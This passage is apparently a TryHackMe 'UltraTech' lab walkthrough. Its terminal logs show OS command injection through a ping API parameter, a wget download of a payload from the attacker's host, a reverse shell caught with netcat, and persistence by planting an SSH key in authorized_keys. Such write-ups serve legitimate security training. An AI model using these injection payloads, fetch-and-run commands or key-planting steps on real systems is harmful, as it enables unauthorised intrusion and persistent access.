OS Command Injection
The target API server provides an endpoint that uses the ping command and it appears to directly pass the user input (ip) on to the OS command as an argument. If there is no input validation in place, it is entire possible to inject an arbitrary command.
┌──(kali㉿kali)-[~/archive/thm/ultratech]
└─$ curl -i 'http://10.10.57.71:8081/ping?ip=`$(id)`#'
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 61
ETag: W/"3d-2J2mX1i3I4uQhsVi8ABaq24IgPw"
Date: Mon, 22 Jul 2024 16:21:34 GMT
Connection: keep-alive
ping: groups=1002(www): Temporary failure in name resolution
┌──(kali㉿kali)-[~/archive/thm/ultratech]
└─$ curl -i 'http://10.10.57.71:8081/ping?ip="`$(id)`"#'
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 89
ETag: W/"59-6qy5Gtjr20eTzFb0MYoj/K21zN0"
Date: Mon, 22 Jul 2024 16:21:42 GMT
Connection: keep-alive
ping: uid=1002(www) gid=1002(www) groups=1002(www): Temporary failure in name resolutionConfirmed!
┌──(kali㉿kali)-[~/archive/thm/ultratech]
└─$ curl -i 'http://10.10.57.71:8081/ping?ip="`$(wget+http://10.9.1.180/shell)`"#'
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 375
ETag: W/"177-gmMGpHmD+MVXEqQodI4b/J4sl+4"
Date: Mon, 22 Jul 2024 16:32:52 GMT
Connection: keep-alive
--2024-07-22 16:32:52-- http://10.9.1.180/shell
Connecting to 10.9.1.180:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/octet-stream]
Saving to: ‘shell’
0K 100% 1.73M=0s
2024-07-22 16:32:52 (1.73 MB/s) - ‘shell’ saved [194/194]
ping: : Name or service not knownSince there is a lot of wrappers and subshell involved, it would be a hassle to send out a properly encoded command. So I will opt out to sending a payload
┌──(kali㉿kali)-[~/archive/thm/ultratech]
└─$ curl -i 'http://10.10.57.71:8081/ping?ip="`$(chmod+755+shell)`"#'
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 34
ETag: W/"22-xMrbEG377Cg2Ba0HleV3ce6BGpk"
Date: Mon, 22 Jul 2024 16:33:08 GMT
Connection: keep-alive
ping: : Name or service not knownMaking it executable
┌──(kali㉿kali)-[~/archive/thm/ultratech]
└─$ curl -i 'http://10.10.57.71:8081/ping?ip="`$(./shell)`"#'
curl: (52) Empty reply from serverTriggering the payload
┌──(kali㉿kali)-[~/archive/thm/ultratech]
└─$ nnc 9999
listening on [any] 9999 ...
connect to [10.9.1.180] from (UNKNOWN) [10.10.57.71] 53804
whoami
www
hostname
ultratech-prod
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc fq_codel state UP group default qlen 1000
link/ether 02:1c:21:b7:f9:bf brd ff:ff:ff:ff:ff:ff
inet 10.10.57.71/16 brd 10.10.255.255 scope global dynamic eth0
valid_lft 2168sec preferred_lft 2168sec
inet6 fe80::1c:21ff:feb7:f9bf/64 scope link
valid_lft forever preferred_lft foreverInitial Foothold established to the target system as the www account via OS command injection
It’s not the service account,www-data
www@ultratech-prod:/home/www$ mkdir .ssh ; echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGoUoI9LYwEoMSDFaLZNQ51dLFNZf27nQjV7fooImm5g kali@kali' >> ./.ssh/authorized_keysWriting the public SSH key
┌──(kali㉿kali)-[~/archive/thm/ultratech]
└─$ ssh www@$IP -i ~/.ssh/id_ed25519
The authenticity of host '10.10.57.71 (10.10.57.71)' can't be established.
ED25519 key fingerprint is SHA256:g5I2Aq/2um35QmYfRxNGnjl3zf9FNXKPpEHxMLlWXMU.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.57.71' (ED25519) to the list of known hosts.
Enter passphrase for key '/home/kali/.ssh/id_ed25519':
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-46-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Mon Jul 22 17:07:41 UTC 2024
System load: 0.09 Processes: 105
Usage of /: 24.3% of 19.56GB Users logged in: 0
Memory usage: 80% IP address for eth0: 10.10.57.71
Swap usage: 0%
1 package can be updated.
0 updates are security updates.
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
$ whoami
www
$ hostname
ultratech-prod
$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 9001
inet 10.10.57.71 netmask 255.255.0.0 broadcast 10.10.255.255
inet6 fe80::1c:21ff:feb7:f9bf prefixlen 64 scopeid 0x20<link>
ether 02:1c:21:b7:f9:bf txqueuelen 1000 (Ethernet)
RX packets 5143 bytes 4274297 (4.2 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4286 bytes 740774 (740.7 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 640 bytes 54904 (54.9 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 640 bytes 54904 (54.9 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0Via SSH